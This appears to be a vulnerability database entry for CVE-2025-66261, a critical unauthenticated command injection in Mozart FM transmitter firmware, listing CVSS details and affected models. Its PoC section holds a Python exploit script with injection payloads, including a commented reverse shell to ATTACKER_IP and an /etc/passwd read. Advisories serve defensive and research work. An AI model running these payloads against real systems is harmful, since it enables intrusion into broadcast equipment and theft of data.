Security Vulnerability Report
中文
CVE-2025-66261 CVSS 9.8 CRITICAL

CVE-2025-66261

Published: 2025-11-26 01:16:10
Last Modified: 2025-12-03 16:51:29
Source: b7efe717-a805-47cf-8e9a-921fca0ce0ce

Description

Unauthenticated OS Command Injection (restore_settings.php) in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform URL-decoded name parameter passed to exec() allows remote code execution. The `/var/tdf/restore_settings.php` endpoint passes user-controlled `$_GET["name"]` parameter through `urldecode()` directly into `exec()` without validation or escaping. Attackers can inject arbitrary shell commands using metacharacters (`;`, `|`, `&&`, etc.) to achieve unauthenticated remote code execution as the web server user.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dbbroadcast:mozart_next_100_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_100:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_1000_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_1000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_2000_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_2000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_30_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_30:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_300_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_300:-:*:*:*:*:*:*:* - NOT VULNERABLE
Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-66261 PoC - Unauthenticated OS Command Injection # Target: DB Electronica Mozart FM Transmitter # Vulnerability: restore_settings.php name parameter injection target = "http://target.com/var/tdf/restore_settings.php" # Basic command injection test - ping localhost payload = ";ping -c 3 127.0.0.1;" params = {"name": payload} response = requests.get(target, params=params) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") # Reverse shell payload example (encoded) # Replace with actual attacker IP and port # reverse_shell = ";bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;" # params = {"name": reverse_shell} # requests.get(target, params=params) # Data exfiltration example # cat /etc/passwd # exfil_payload = ";cat /etc/passwd;" # params = {"name": exfil_payload} # requests.get(target, params=params)

References

Raw JSON Data

JSON
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